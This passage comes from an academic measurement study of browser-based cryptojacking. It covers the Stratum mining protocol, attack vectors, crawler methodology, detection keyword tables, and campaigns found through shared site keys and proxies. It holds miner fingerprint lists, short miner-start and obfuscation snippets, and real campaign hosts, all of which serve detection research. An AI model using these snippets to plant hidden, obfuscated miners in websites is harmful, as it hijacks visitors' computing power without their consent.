Although different mining applications exist, all browser-based miners show great sim-
ilarities. As depicted in Figure 2.1, the user visits the cryptomining website (1) and re-
ceives a valid HTTP response (2). The cryptomining website requests a JavaScript file
(3), which controls the mining operation. This script first explores the host system,
searches for the number of CPU threads available, downloads the WebAssembly min-
ing script for the actual mining operation (4), and distributes it over a number of Web-
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WebSocket traffic frames

⇑ {"type":"auth",
"params":{"site_key":"<site_key_of_website>",
"type":"anonymous","user":null,"goal":0,
"version":3000,"coin":"xmr"}}

⇓ {"type":"authed",
"params":{"token":"<random_36_characters>",
"hashes":0}}

⇓ {"type":"job",
"params":{"blob":"<random_152_characters>",
"job_id":"<random_28_characters>",
"target":"ffffff01", "id":"<random_36_characters>",
"algo":"cn","variant":"4","height":1808537}}

⇑ {"type":"submit",
"params":{"job_id":"<random_28_characters>",
"nonce":"377c32b8",
"result":"<found_64_characters_hash>"}}

⇓ {"type":"hash_accepted",
"params":{"hashes":128}}

⇓ {"type":"job",
"params":{"blob":"<random_152_characters>",
"job_id":"<random_28_characters>",
"target":"ffffff01", "id":"<random_36_characters>",
"algo":"cn","variant":"4","height":1808537}}

Table 2.1: Example of a WebSocket connection using the Stratum Mining Protocol to communicate with a
mining pool.
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Figure 2.1: Browser-based cryptomining attack.

Workers (a JavaScript instance running in the background, without affecting the page
performance). It also creates a WebSocket connection with the mining pool through a
proxy (5). The script authenticates itself to the mining pool server (in Stratum format)
and, if successful, receives the first job to work on (6). The WebWorkers start working on
that job and find hashes that are submitted to the mining pool by the controller script
(7).

CAMPAIGN ANALYSIS

Campaign analysis is the field of research focused on discovering clusters of malicious
online entities. The term originates from the analysis of large volumes of spam or phish-
ing emails but can also be used in other areas, such as browser-based cryptomining.
In this particular case, campaign analysis is focused on finding clusters of the same
cryptominers on different domains. Since those miners always include a form of iden-
tification to which funds need to be transferred, clustering cryptojacking websites can
be done relatively easily. Most mining applications define a siteKey, a unique (random)
string used to identify the user to which earnings have to be transferred, which can be
found in either the source code or the WebSocket traffic. A similar siteKey guarantees
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that the same account is rewarded for the mining that takes place. Identifying campaigns
can also be done by searching for similar WebSocket proxy servers if the website is not
using a popular one but instead hosting its own server. We have used these and other
techniques to discover campaigns as discussed in § 2.6.1. We have chosen to define a
cluster of websites as a campaign once they share identical features more than 5 times.
E.g. a cluster of 6 websites with the same siteKey or private WebSocket proxy server is
considered a campaign.

2.3. ATTACK VECTORS
Mining cryptocurrencies with the computing power of website visitors is not illegal as
long as users are asked permission to mine. When a user cannot consent to the min-
ing activities their computer is involved in, it is called cryptojacking. Although browser-
based cryptomining is a recent phenomenon, a legal precedent on cryptomining with-
out consent already exists. In 2015, a US court settled a case with a developer of Bitcoin-
mining software, in which the Attorney General stated that no website should tap into
a person’s computer processing power and that the user has to be informed about the
cryptomining activities that take place on the visited website [100]. However, this is of-
ten not the case. In this section, we summarize the attack surface for cryptojacking on
the Internet. All attack vectors are marked in Figure 2.1 by their corresponding charac-
ters.

WEBSITE OWNER (A)
The owner of a website can add a cryptomining script to their web page without in-
forming their users. This can be done as a replacement for advertisements, which was
the case for The Pirate Bay, one of the most popular torrent websites [237]. Only a few
days after the Coinhive service was launched, they added a miner to their website, which
started mining without user consent, as a replacement for the intrusive advertisements
they would normally show. Nowadays, the website shows a disclaimer at the bottom of
the homepage, notifying visitors that their CPU will be used for cryptomining. Another
major source of website owner initiated cryptojacking is parked domains [63].

COMPROMISED WEBSITES (A)
A cryptomining script can also be present on a web page without the knowledge of the
website owner. When a website gets hacked, an attacker is able to inject cryptomining
scripts. Now, the attacker receives the rewards for the visitors mining on that website.
There are numerous examples of this kind of attack. There have been cryptojacking
scripts found on web pages of the Indian government [34], CBS Showtime [157], and
many others.

THIRD-PARTY SOFTWARE (B)
Gaining unsolicited access to a large number of domains is a time-consuming opera-
tion. As a consequence, attackers have tried different tactics to infect multiple web-
sites at once by infecting third-party software. In the last year, we have seen attacks in
which cryptojacking code is injected into popular third-party software, such as JQuery
or Google Tag Manager [40]. Drupal, a widely used open-source CMS, was the victim
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of a large attack involving more than 100,000 websites [171], and WordPress, a similar
CMS, suffered from a weather plugin [255] secretly injecting a cryptojacking script into
the website it was installed on.

MALICIOUS ADVERTISEMENTS (C)
Advertisement-supported websites let their advertisements be sold by advertisement
networks, such as Google. The downside of this system is that attackers can attach cryp-
tomining scripts to advertisements and distribute them through an advertisement net-
work over a large number of websites. In January 2018, YouTube was a victim of this
kind of attack, in which cryptomining scripts were injected into the ads shown on the
website [169].

MAN IN THE MIDDLE (D)
The most effective method of gaining a large group of miners for an attacker is by be-
ing the man-in-the-middle. In August 2018, 200,000 MikroTik routers were infected by
malware, which inserted a Coinhive script into every website the user visits [187]. The
bug was patched within a day, but many MikroTik routers are not updated, leaving them
still vulnerable. In our research, we are not able to detect these attacks since they are not
originating from a website.

2.4. RELATED WORK
Academic research on browser-based cryptomining has only started in 2017 and is, due
to the recent developments of the used web standards, very topical. The first explo-
rations into this research field have been performed by Eskandari et al. [63]. In their
analysis, the authors queried two large source code datasets for strings known to be
part of cryptomining scripts (such as coinhive.min.js or load.jsecoin.com) and
found a large number of domains. This method is only able to detect known mining
applications, not the obfuscated or new ones. While calculating the profitability, the
authors stumbled upon a Coinhive campaign that ran a miner on over 11,000 parked
websites. This study kicked off a number of subsequent investigations, which were all
aimed at detecting browser-based cryptomining. Rauchberger et al. [199] created their
MiningHunter, a crawler able to detect mining scripts even when their malicious activi-
ties are obfuscated. The detection method relied on analyzing executed JavaScript code
and WebSocket traffic frames. After a successful crawl of the Alexa Top 1M at the begin-
ning of December 2017, they were able to detect 3,178 websites running a cryptominer.
1,210 unique keys were retrieved, and one large campaign involving 1,116 websites in-
fected by a malicious advertisement network was identified. At the same time, Parra
Rodriguez et al. [205] worked on RAPID, a resource and API-based detection method,
which is able to detect browser-based cryptomining and is resistant to JavaScript obfus-
cation. Their classification was able to classify mining samples with a precision of 96%.
Eventually, 656 actively mining websites were found in the Alexa Top 330,550. A similar
classification study was performed by Carlin et al. [29], in which they demonstrated that
dynamic opcode tracing is extremely effective at detecting cryptomining behavior. Liu
et al. [149] proposed a novel approach for detecting browser-based mining applications
by creating BMDetector, a detection system based on a modified Chrome kernel. Using
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this modified kernel, the authors were able to perform JavaScript code block analysis on
the compiled JavaScript code, which allowed them to detect heavily obfuscated miner
applications as well. Hong et al. [101] built CMTracker, a behavior-based detector with
two runtime profilers for tracking browser-based cryptomining. The first profiler mon-
itors incoming JavaScript files for known fingerprints, and the second profiler observes
the call stack and searches for periodic executions. Their approach was able to detect
868 actively mining websites among the Alexa Top 100K in April 2018. More than half
of the keys found were used only once, and they noticed that domains hosting mining
scripts were migrating faster than the mining pool domains. The authors also mentioned
evasion techniques, such as code obfuscation and payload hiding inside third-party li-
braries. Periodic execution in mining scripts was also noticed by Wang et al. [250], who
created SEISMIC, a monitoring service to interrupt browser-based mining scripts based
on this finding.

A different view on the subject was given by Papadopoulos et al. [189], who tried
to answer the question of whether browser-based cryptomining could be a suitable al-
ternative to advertisements. After crawling a dataset of 200K websites running adver-
tisements or cryptominers, they concluded that advertisements are still more than 5
times more profitable than cryptominers. This will only change once a visitor stays
on the same website for more than 5.3 minutes or when Monero becomes more valu-
able [189]. A broader view of the browser-based cryptomining ecosystem is given by Saad
et al. [208], who researched both cryptomining code and user impact. Besides various
JavaScript static code analysis clustering methods and battery drainage studies when
cryptomining, they did not perform any crawling of the web. This is in great contrast to
the work of Rüth et al. [207], who dug deep into browser-based cryptomining by con-
ducting two large web crawls. A first crawl using zgrab, which downloaded the first 256
kB of 137M .com, .net, and .org domains, as well as from the Alexa Top 1M websites.
Consequently, the resulting HTML file was checked against the NoCoin [84] block list. A
second crawl was performed on a subset of 10M websites, with a customized Chrome
browser, instructed to dump WebAssembly modules for further inspection. They con-
clude their work by stating that 0.08% of the probed websites are actively mining [207].

Another large web crawl study is conducted by Konoth et al. [127] as a study for the
creation of MineSweeper. Again, the Alexa Top 1M (including three internal pages) was
crawled, with a crawler extracting information from all loaded JavaScript and HTML
files, WebSocket traffic, and requests made while visiting the website. A total of 1,735
websites were found to be actively mining, the majority of them using Coinhive. 20
mining campaigns were discovered in their analysis, of which the largest involved 139
websites. Based on these findings, a novel detection technique was developed, which
focused on the aspects all mining scripts have in common: high CPU cache usage and
WebAssembly. They developed MineSweeper, able to successfully identify mining scripts
based on the CPU’s L1 and L3 cache usage and cryptomining characteristics in We-
bAssembly, thus hardening it against miner obfuscation.

As shown by this summary of related work, most attention of academic investigation
has been on detecting these browser-based cryptominers. Multiple studies have shown
to be able to detect them with high precision [101, 127, 149, 199, 205, 207]. Academic re-
search is less focused on finding campaigns of cryptomining websites, while the online
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Table 2.2: All search queries for the PublicWWW database.

Miner Search term(s)

Coinhive coinhive.min.js | CoinHive.Anonymous(
JSECoin load.jsecoin.com
Webmine webmine.cz
Cryptoloot /crypta.js | /crlt.js | crlt.anonymous |

CryptoLoot.Anonymous
CoinImp CoinImp.Anonymous

hashing.win | hostingcloud.racing
Cryptonoter minercry.pt/processor.js | cryptonoter
NFWebminer nfwebminer.com/lib/ | NFMiner(
Deepminer deepMiner
Monerise monerise_builder | monerise_payment_address(
Coinhave minescripts.info
Nebula CoinNebula.Instance
Mineralt play.gramombird.com/app.js
Munero munero.me
Minr cdn.jquery-uim.download

cnt.statistic.date | ad.g-content.bid
Webminerpool webmr.js
WPMoneroMiner wp-monero-miner.js
Nerohut nhm.min.js | nerohut.com/srv
Adless adless.js
Monero-mining Perfektstart(
Miscellaneous function echostat(){var | jquory.js

function printju | startMining(
pocketgolf.host/start.php async

research community (such as Badpackets [170] or Krebs on Security [136]) is particu-
larly interested in finding those relations. The first explorations into this area have been
taken by [127], [63], and [199], but campaigns have not been systematically explored in
their research. This paper aims to resolve this gap by focusing on identifying campaigns,
methods used in these campaigns, and their evolution. We are also interested in the
spread of cryptojacking on the Web, but as previous work is mostly crawling (subsets of)
the Alexa Top 1M, we will analyze a broader set of websites online. In this chapter, we
will not try to create a new detection method, but we will build upon the work of [127] to
perform our crawls.

2.5. METHODOLOGY

In a measurement study like this, suitable datasets and methods are essential for con-
ducting proper research. In this section, we first discuss the datasets used or created,
followed by a summary of our crawler implementation.
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2.5.1. DATASET CREATION

In our first crawl, we focus on finding campaigns of cryptojacking websites. Previous
work of [101, 127, 199, 207] mainly investigated the popular parts of the Internet by
crawling the Alexa Top 1M, or subsets of it. But, as pointed out by Scheitle et al., the Alexa
Top 1M is not the only list measuring the popular Internet, and the method Alexa uses to
create this list raises questions about whether it is the most reliable list to use for research
on cryptojacking [213]. To overcome this issue, we have decided to use the union of three
top lists on the Internet: the Alexa Top 1M [3], the Cisco Umbrella 1M [39], and the Ma-
jestic 1M [154], all using different measurement strategies, to include the popular part of
the Internet in our dataset. These last two also include subdomains and domains that do
not serve a web page. Therefore, we have only added the domains to the list of URLs to
be crawled and omitted the subdomains from the latter two. Since we are interested in
finding as many cryptojacking domains as possible for our campaign analysis, we have
decided to extend our list even further with a list of websites gathered from querying
PublicWWW – a source code search engine – with the keywords listed in Table 2.2. The
union of these sets formed the dataset to be crawled and consisted of 1,896,503 websites
(unique effective TLDs + 1), as listed in Table 2.3. To estimate the prevalence of crypto-
jacking on the Internet in general, we will not use a top list as the Alexa Top 1M, because
it is not a random sample of the Internet. We, therefore, also download a random sample
of ~20% of the websites in 1,136 TLDs. We discuss this crawl in more detail in § 2.7.

OPERATOR NETFLOWS

While the aforementioned datasets provide insights into the landscape of cryptomining
installations at a given moment, these data sources do not reveal much about the actual
usage of such services. In order to bridge this gap, we analyzed NetFlow traces from the
network of a Tier 1 operator from September 2017 until December 2018, which were col-
lected at a 1:8192 sampling ratio. For our analysis, we obtained NetFlow records for all
traffic from and to the various WebSocket proxy servers belonging to the mining services.
Although NetFlows do not reveal the actual contents of a connection, the used ports and
packet sizes can indicate connection types. The identity of the source connecting to the
WebSocket proxy is, however, irrelevant and was anonymized to a pseudo-random value
by the operator using the CryptoPan algorithm [257]. Additionally, the data access was
cleared by the institutional review board. The research team did not obtain direct access
to the NetFlow data containing source and destination IP addresses as personally iden-
tifiable information, but instead provided a list of IP addresses of cryptomining proxies
and mining pools to the data owner, based on which the corresponding flow records
were provided with the connection’s source IP protected by a salted hash.

2.5.2. CRAWLER IMPLEMENTATION

As mentioned in § 2.4, this research builds upon the work of Konoth et al.[127]. There-
fore, we have used their crawler implementation as a starting point for our crawler. The
following paragraphs will highlight the major changes and additions made to their work
for our research.
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Table 2.3: Dataset creation for the campaign-focused crawl.

List No. of websites Date (2018)

Alexa Top 1M 1,000,000 Dec 24
Cisco Umbrella 1M 233,145 Dec 24
Majestic 1M 897,767 Dec 24
Custom PublicWWW set 87,051 Nov 23 – Dec 24

Total 1,896,503

Table 2.4: The added miner applications and their keywords.

Miner Keywords

Nebula CoinNebula.Instance
WP Monero miner wp_js_options | wp-monero-miner
Nerohut nhm.min.js | NHpwd | nhsrv.cf/srv/serve.php?key=
Webminerpool webmr.js | startMining(
Minero minero.cc
Adless adless.js | adless.io
Monero-mining PerfektStart | perfekt.js
ProjectPoi ProjectPoi\b | projectpoi.min.js
Papoto papoto

ADDITION OF NEW MINER APPLICATIONS

The publicly available Minesweeper crawler supports 22 different mining applications.
Based on previous work and online research, we have added another 9 miner applica-
tions to the crawler, in order to also identify the newest miner applications. The added
applications and their keywords are listed in Table 2.4. For some of the already supported
miner applications, we extended the fingerprints and improved the regular expressions
to find siteKeys.

ACTIVE MINING DETECTION

We have instructed the crawler to never explicitly consent to any mining operation.
Therefore, we define that website to be actively mining without consent when a mining
code signature is found, together with a siteKey, more than two WebWorkers and a Web-
Socket connection, or when the Stratum protocol communication or login credentials
for a mining pool are found in WebSocket traffic. If one of these conditions holds, we
mark the domain as actively cryptojacking.

WEBSOCKET STACK TRACE

The miner application communicates with the mining pool using WebSocket connec-
tions. WebSocket traffic was already logged in the crawler, but the initiator of the Web-
Socket connection was not. By inspecting the stack trace of the WebSocket initiation,
we can determine which script was responsible for opening the WebSocket connection
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and, therefore, the mining initiator. Using this method, we can easily distinguish be-
tween miners started from the main HTML page or those hidden inside other resources.
Moreover, similar stack traces are a powerful indicator for campaign analysis since they
show what component started the mining application. We have used this method suc-
cessfully in our campaign analysis to identify attack vectors. Miners hidden inside third-
party software such as WordPress are easily noticed in the stack trace, as we will show in
§ 2.6.1.

CHANGED LOGIC AND EXHAUSTIVE KEY FINDING

Our crawler visits every website twice. First, by using a custom Chrome build, with the
–dump-wasm-module flag enabled to dump any WebAssembly on the page. If present,
these Wasm modules are analyzed for cryptojacking code by the MineSweeper applica-
tion. Second, by using another Chrome build, which visits the website and saves every
file it encounters. Instead of visiting 3 internal pages (as Konoth et al. [127] did), we in-
structed the crawler to visit just one internal page. Besides that, we have implemented
a more exhaustive siteKey search. The crawler first searches for fingerprints of known
miner applications and afterward for the siteKey in the following order: WebSocket traf-
fic, the HTML page, and finally, all other HTML and JavaScript resources. A minor ad-
dition has been made to automatically decode a base64 encoded siteKey of the Mineralt
miner [163]. This addition allowed us to retrieve more siteKeys, which improves the cam-
paign analysis afterward.

2.5.3. INFRASTRUCTURE

We deployed the crawler in Docker containers on 60 servers within the university net-
work, each running 8 Docker instances in parallel. The crawl started on December 24,
2018, and was completed on January 9, 2019. In total, 1,769,183 websites have been suc-
cessfully visited in this initial crawl. Afterward, we performed a second crawl using the
same infrastructure, which we discuss in § 2.7.

2.6. CURRENT STATE OF CRYPTOJACKING CAMPAIGNS
We have identified 21,022 websites with traces of cryptomining activities, of which
10,100 websites are actively mining without the visitor’s explicit consent. Only 648 of
these websites are listed in the Alexa Top 1M. 22 different miner applications have been
identified among the crawled websites, most of them running at least the Coinhive
miner application (71%). Also, 509 websites are deploying multiple miners. For 323
websites, the used miner application could not be detected, which indicates heavily
obfuscated or unknown miner applications. The results are summarized in Table 2.5.

Among the identified websites, 204 campaigns have been detected, of which the
largest one covers 987 websites. This number of campaigns is a magnitude larger com-
pared to previous work [127, 199]. We have identified the use of third-party software,
such as Drupal and WordPress, to be the driving factor behind the largest cryptojacking
campaigns.
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Table 2.5: Summary of the results of the first crawl.

Crawling period 24/12/2018 – 9/1/2019
# websites crawled 1,769,183 (93%)
# potential cryptojacking websites 21,022
# active cryptojacking websites 10,100
# active miner applications 22
# websites with unknown miners 323
# cryptojacking campaigns identified 204
# websites in largest campaign 987
# websites in Alexa Top 1M 648 (0.065%)
# websites in Cisco Umbrella 1M 109 (0.047%)
# websites in Majestic 1M 506 (0.056%)

MINING WITH CONSENT

There are two mining applications focused on mining solely with visitor consent. First,
JSEcoin, a mining service presenting itself as “The future blockchain & ecosystem for e-
commerce and digital advertising”, allows website owners to let their users mine JSE to-
kens after explicit opt-in consent [118]. Another consent-focused mining application is
AuthedMine, the opt-in version of Coinhive, introduced after adblockers started block-
ing Coinhive [46]. In our crawl, we have identified 2,477 websites using the JSEcoin
miner and 227 websites using AuthedMine. None of the websites using AuthedMine
opened a WebSocket connection, which indicates that no mining activity took place. 143
websites using JSEcoin did, however, open a WebSocket connection but never actually
started mining. By analyzing the WebSocket traffic, we observed that in most cases, the
WebSocket connection initiation was followed by two probes sent back and forth, wait-
ing for the user to opt in. Since these mining applications did not start mining without
the consent of the visitor, we have omitted them from our results.

IDENTIFIED DOMAINS IN TOP LISTS

Of the 10,100 domains identified as actively cryptojacking, only 925 were found in one
of the three top lists. The Alexa Top 1M contains the most cryptojacking domains (648),
meaning that 0.065% of the websites in the Alexa Top 1M are cryptojacking, slightly less
than previous work [127, 207]. For both other lists, this number is lower. The addition
of the Cisco Umbrella 1M resulted in only 27 additional findings, whereas the addition
of the Majestic 1M led to the discovery of 397 new cryptojacking domains. In Figure 2.2,
a Venn diagram depicts these differences in subsets. Only a small number of websites
are shared among the Alexa Top 1M and the Majestic 1M. Also, note that 9,175 (86%)
of the identified websites are not listed in any of these top lists. This finding stresses
the necessity of looking further than top lists while performing campaign analysis and
studying the prevalence of cryptojacking on the Internet.

CATEGORIZATION OF WEBSITES

We have discovered various sorts of cryptojacking websites on the Internet. By com-
plementing the list of identified domains with website categorization data of Webshrin-
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Figure 2.2: Venn-diagram showing the distribution of identified cryptojacking domains over the used top lists.

ker [252], we categorized each cryptojacking website. We confirm previous work by iden-
tifying adult content (such as pornography) as the most prevailing category within our
dataset, with over 2,000 websites in this category. Illegal content, a category known for
being home to abusive web resources, contains a lower number of cryptojacking web-
sites compared to what we expected.

INSTALLATION BASE

Coinhive is still the most popular cryptomining application installed on the identified
cryptojacking websites (75%), followed by Cryptoloot (5.3%) and CoinImp (3.2%). How-
ever, there are noticeable differences between the complete crawl and the subset of do-
mains in the Alexa Top 1M. Coinhive’s share is halved, whereas CoinImp and Cryptoloot
installations are doubled in size. Nerohut and Webminerpool miners are relatively more
present in the Alexa Top 1M subset, while Mineralt has a similar share in that subset.
The bottom two stacked bars in Figure 2.3 show the distribution of miners according
to our analysis. We have also discovered services that combine multiple cryptomining
applications. The most popular mining combination is the set of Coinhive, Cryptoloot,
and Cryptonoter, which are bundled in the implementation of the WordPress Monero
Miner plugin [122]. A combination of a Nerohut miner with a Cryptoloot or Webminer-
pool miner is also regularly encountered. Usually, only one miner starts (due to another
script deciding which one to use), but we also encountered domains on which multiple
miners were started concurrently.
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Figure 2.3: Distribution of cryptomining applications based on the total crawl, the Alexa Top 1M, and NetFlows
analysis.

ACTUAL MINING ACTIVITY

The distribution of mining applications installed on domains gives an insight into their
popularity by actors pursuing cryptomining but not into their actual usage. The amount
of actual mining that takes place can, however, be estimated by tracing the connections
website visitors make to the mining application’s WebSocket proxy, as explained in Fig-
ure 2.1. We obtained a trace of connections transported by a Tier 1 network operator in
1:8192 sampling for a period of 14 months and followed the WebSocket proxy server IPs
from these mining applications to estimate the traffic to these servers. This gives an in-
sight into how much traffic these WebSocket proxies digest and is, therefore, a more reli-
able source for popularity measures. The upper stacked bar chart in Figure 2.3 shows the
distribution of NetFlows to the WebSocket proxy servers of known mining applications
for the month of December. The results show a drastic difference between the installa-
tion base and mining traffic. While Coinhive is found on most websites, CoinImp proxy
servers handle more than twice as much traffic as the dominant application. WebSocket
traffic to the servers of Cryptoloot is similar in size compared to its installation base.

MINING POOL PARTICIPATION

Most mining applications do not disclose the mining pool they are mining for in Web-
Socket traffic. However, on 135 identified domains, WebSocket traffic did reveal that, as
listed in Table 2.6. Most of these websites are participating in the supportxmr.com min-
ing pool, which is commonly orchestrated by a Webminerpool or Nerohut mining script.
Other pools are less commonly used or were not revealed in WebSocket traffic.
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Table 2.6: Mining pools the identified domains are mining in.

Mining pool Occurrence

supportxmr.com 93
xmrpool.eu 15
greenpool.site 13
minexmr.com 6
xmr.omine.org 4
moneroocean.stream 2
seollar.me 1
xmr.nanopool.org 1

THROTTLING OF APPLICATIONS

Most cryptomining applications allow for a throttle value to be set, which limits the per-
centage of the CPU the miner can use. It is not necessary to set a throttle value, in this
case the miner uses 100% of the available processing power. We have discovered that
when a throttle value is set, this is often set to 0.3, meaning that 70% of the processing
power can be used by the miner. Setting a throttle to use 70% of the resources seems to
be balancing between gaining enough profit and not disturbing the browsing experience
too much. In the identified campaigns, the throttle value is mostly set to the same value
on all domains. An exception is listed in Table 2.7, in which a campaign involving 180
websites uses two different throttle values.

ATTACK VECTORS ENCOUNTERED

We were able to retrieve the siteKey of actively cryptomining websites in 92% of the cases.
Most of the gathered siteKeys are only used once (78%), and only a small portion (5%) is
used on more than 5 different websites. However, the siteKeys in this last category are
found on 4,663 different websites (46% of the total). The high number of siteKeys used
only once suggests a large amount of website owner initiated cryptojacking since every
domain uses its own key. The fact that almost half of the websites are part of a campaign
involving at least 5 websites also indicates different attack vectors. We have manually
analyzed the used siteKeys in the latter category, and we can conclude that, besides web-
site owner initiated cryptojacking, the use of third-party software is a prevailing attack
vector. Third-party applications like WordPress, Drupal, or Magento are often abused
to spread cryptojacking injections. These applications play a major part in campaign
analysis, as discussed in § 2.6.1.

HIDING TECHNIQUES

With the rise of cryptomining blocking applications such as NoCoin [88] or Minerblock [87],
mining scripts are more often hidden to prevent detection. We have encountered a
number of hiding techniques in our crawl and distinguished the following levels of
obfuscation:

1. No obfuscation. The script is loaded in clear text, key and other options are visible
to the user.
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var miner = new CoinHive.Anonymous(’key’);
miner.start();

2. Limiting CPU usage. Script is loaded in clear text, and key and other options are
visible to the user, but CPU usage is throttled, so detection by the user is less likely.

3. Renamed variables. The script is loaded in clear text, but (some) variable names
have been changed. These variable names are either replaced by random strings
or by completely different words, such as on http://www.2001.com.ve/:

startHarryPotter("boddington", "2001");

4. Renamed mining script. The loaded script is still in clear text but hosted on the web
server itself instead of fetched from a mining service. The file name is changed to
prevent blocklisting, frequently to general names, such as jquery.js or stat.js.

5. Hidden inside other scripts. The miner is appended or inserted into another script.
The benign script still functions as normal, but also starts up the mining process.

6. Obfuscated code. The loaded scripts are masked by a code obfuscator and contain
packed or CharCode code. All application-specific strings are encoded, stored in
an array and variable names are replaced by random strings.

var _0x5d02=["\x75\x73\x65\x20\x73\x74", ..]

7. Obfuscated code and WebSocket traffic. The loaded script is obfuscated by a code
obfuscator, and WebSocket traffic is sent encrypted to the proxy server.

8. Obfuscated and hidden. Scripts are hidden inside other files and/or via multiple
redirects. Every script is randomly named and obfuscated, and so is the Web-
Socket traffic. WebAssembly is not retrieved from the server, but included inside
the script.

In our crawl, most website owner initiated cryptojacking is not obfuscated, often not
even throttling CPU usage. Attacks using third-party software usually hide cryptomining
code inside other scripts and apply some obfuscation. We have encountered multiple
WordPress themes and Drupal plugins with such a hidden miner. Only 391 websites
with encrypted WebSocket have been identified, whereas most websites are using plain
text Stratum communication. The highest level of obfuscation is rarely encountered.

2.6.1. CRYPTOJACKING CAMPAIGNS
We have identified 204 cryptojacking campaigns covering 5,733 websites, meaning that
57% of all cryptojacking websites encountered are part of a campaign. We define a clus-
ter of more than 5 websites to be a campaign, as stated in § 2.2. Figure 2.4 shows all the
identified cryptojacking domains in a force-directed graph, where domains with similar
features attract each other, colored according to the used application. Clear clusters can
be distinguished, such as a Monero-Mining campaign shown in pink and a large Min-
eralt campaign shown in green right above it. Coinhive, the application used the most,

http://www.2001.com.ve/
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is shown in dark blue with multiple large clusters all over the graph. The circle repre-
sents the cryptojacking domains not part of a campaign. In the following paragraphs,
we highlight our findings based on different possibilities for identifying campaigns as
introduced in § 2.2.

FOUND ON SHARED SITEKEY

We were able to successfully retrieve the siteKey of 92% of the actively cryptojacking do-
mains, which enabled us to cluster domains sharing the same siteKey. A shared siteKey
guarantees that the rewards for mining will be transferred to the same account. We have
identified 192 cryptojacking campaigns based on the same siteKey being installed on
more than 5 different websites. As shown in Table 2.7, the largest campaign covers 987
websites, all using WordPress. A variety of plugins and themes include a malicious file
named jquory.js, which is responsible for starting a Coinhive miner. A similar attack
vector is observed in a campaign involving 317 Drupal websites. This campaign is part
of the Drupalgeddon 2 and 3 attacks, which took advantage of major remote code ex-
ecution vulnerabilities in Drupal to inject their malicious scripts [216]. The only large
campaign using the Mineralt miner also focused on WordPress, has base64 encoded its
siteKey inside the script tags. This makes them seem different, but match once de-
coded, since only the throttle value is changed. Not just vulnerabilities in CMS sys-
tems are used to spread cryptojacking code. Magento, an e-commerce system, is also
involved in a Coinhive mining campaign targeting 175 websites in our crawl. The largest
campaign using the compromised websites attack vector involved 376 Chinese websites,
which share a miner script injected on the bottom of the page. A provider of The Pirate
Bay proxies orchestrates the largest website owner initiated campaign on our list, with
70 proxy domains using the same Cryptoloot miner. These findings indicate that the
most successful and largest cryptojacking campaigns are created by abusing third-party
software.

FOUND ON SHARED WEBSOCKET PROXY SERVER

Most cryptojacking campaigns are using the infrastructure of popular applications, such
as Coinhive, to connect to a mining pool. Thus, clustering domains on these Web-
Socket proxy servers will not create meaningful clusters. However, when we discard
these popular proxy servers, we are able to identify another 12 campaigns, which have
not already been identified by shared siteKeys. Those are listed in Table 2.8. A Co-
incube miner campaign involving 27 websites uses coin-services.info as a Web-
Socket proxy server on a variety of ports. This campaign hosts its miner scripts on code
repositories such as GitHub and BitBucket, where a number of accounts is created to
host the miner files, which are all named main.js. On one of the GitHub accounts,
even a picture of stacked Ukrainian money can be found [85]. 28 very similar websites,
all offering illegal video streams, were found to be using a WebSocket proxy server on
wss://ws**.1q2w3.life/proxy with, after manual inspection, seriesf.lv as the ac-
companied siteKey. This proxy server was also discovered by [127] on 5 websites in their
crawl. They estimated that this campaign made a profit of $2,012.90 per month, which
is likely to be a lot more since we have found almost 6 times as many domains involved
in this campaign. We have discovered that websites using a private WebSocket proxy are
more likely to hide their activities by using higher levels of obfuscation.
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Figure 2.4: Relationships between the identified cryptojacking domains depicted in a force-directed graph.
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Additionally, we have discovered 14 WebSocket proxy servers with very similar ad-
dresses on 75 domains (e.g. nflying.bid, flightzy.bid and flightsy.bid). These
servers are contacted by the most obfuscated miner encountered in this crawl. The
miner code is hidden inside a randomly named file, the miner code is heavily obfus-
cated, and the WebSocket traffic is sometimes encrypted. Our efforts to reverse engineer
the obfuscated miner code have so far been unsuccessful. Therefore, we can not cluster
them as being a campaign based on the shared proxy servers, but we have added the
signature to our crawler as a separate mining application for the next crawls.

FOUND ON SHARED INITIATOR FILE

In our crawling process, the stack trace of an initialized WebSocket connection is saved
for every website. While examining these stack traces, some file names emerged and
led to the identification of another 4 cryptojacking campaigns. The oddly named file
gninimorenomv2.js, responsible for opening WebSocket connections on 24 websites,
seemed to be part of a malicious advertisement campaign, which injects cryptojacking
scripts into served advertisements. As shown in Table 2.8, this file opens a connection
to wss://heist.thefashiontip.com:8182/ to earn the profits from the displayed
mining advertisements. Another campaign was identified by grouping the websites in
which adsmine.js was responsible for opening a WebSocket connection. These web-
sites turned out to be 17 very similar pornography websites, which indicates that this
campaign is website owner initiated. The newly discovered mining application, as de-
scribed in the previous section, served obfuscated mining scripts to its miners. Although
obfuscated, an inspection of the random file names revealed clusters of websites in-
jected with the same randomly named miner, which led to the discovery of another 3
campaigns, all targeting WordPress websites.

FOUND ON SHARED MINING POOL LOGIN

Most miner applications submit their solved hashes to a WebSocket proxy server, which
combines the hashes of multiple miners before forwarding them to the actual mining
pool. However, we have discovered 238 websites directly submitting their hashes to a
mining pool. These websites use only six unique cryptocurrency wallet addresses. The
shared wallet addresses guarantee that profits made by cryptojacking are transferred to
the exact same wallet. These findings did not lead to the discovery of any new campaigns
but did confirm previous findings. E.g., proxy wss://delagrossemerde.com:8181/
(used by 15 sites) is solely receiving traffic from domains using the same wallet.

The different methods used in this section enabled us to find 204 cryptojacking cam-
paigns. We can conclude that the largest campaigns are using third-party services like
WordPress, Drupal or Magento as their method of spreading. Only one campaign using
advertisements with injected cryptojacking scripts has been identified, this in contrast
to previous work by [127, 199], who reported malicious advertisements as a significant
attack vector. Compromised websites or website owner initiated campaigns are gener-
ally smaller in size. The obfuscation level used in most campaigns is rather low, heavily
obfuscated code is encountered rarely and in more than half of the identified campaigns
a miner added in plain text.
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2.6.2. AN IN-DEPTH CAMPAIGN SEARCH
The sizes of the campaigns identified in § 2.6.1 depend on the dataset we crawled, so they
could have been incomplete. To find more websites belonging to the identified cam-
paigns, we have taken the indicators of compromise for a large number of campaigns
and queried PublicWWW for domains matching these IoCs. This resulted in a dataset of
7,892 websites. Combined with the 21,022 potentially cryptojacking websites from the
initial crawl, a total of 25,121 URLs was crawled on February 12, 2019, more than a month
after the initial crawl. We successfully obtained 24,187 (96%) of them.

Most of the campaigns remained of similar size in this crawl, except for a campaign
involving three keys, ef937f99557277ff62a6fc0e5b3da90ea9550ebcdfac, 06d93b8-
46706f4dca9996baa15d4d207e82d1e86676c and dd27d0676efdecb12703623d6864-
bbe9f4e7b3f69f2e. This advanced campaign is targeting domains using Bitrix24, a
CRM platform. The most remarkable website within this campaign is the website of
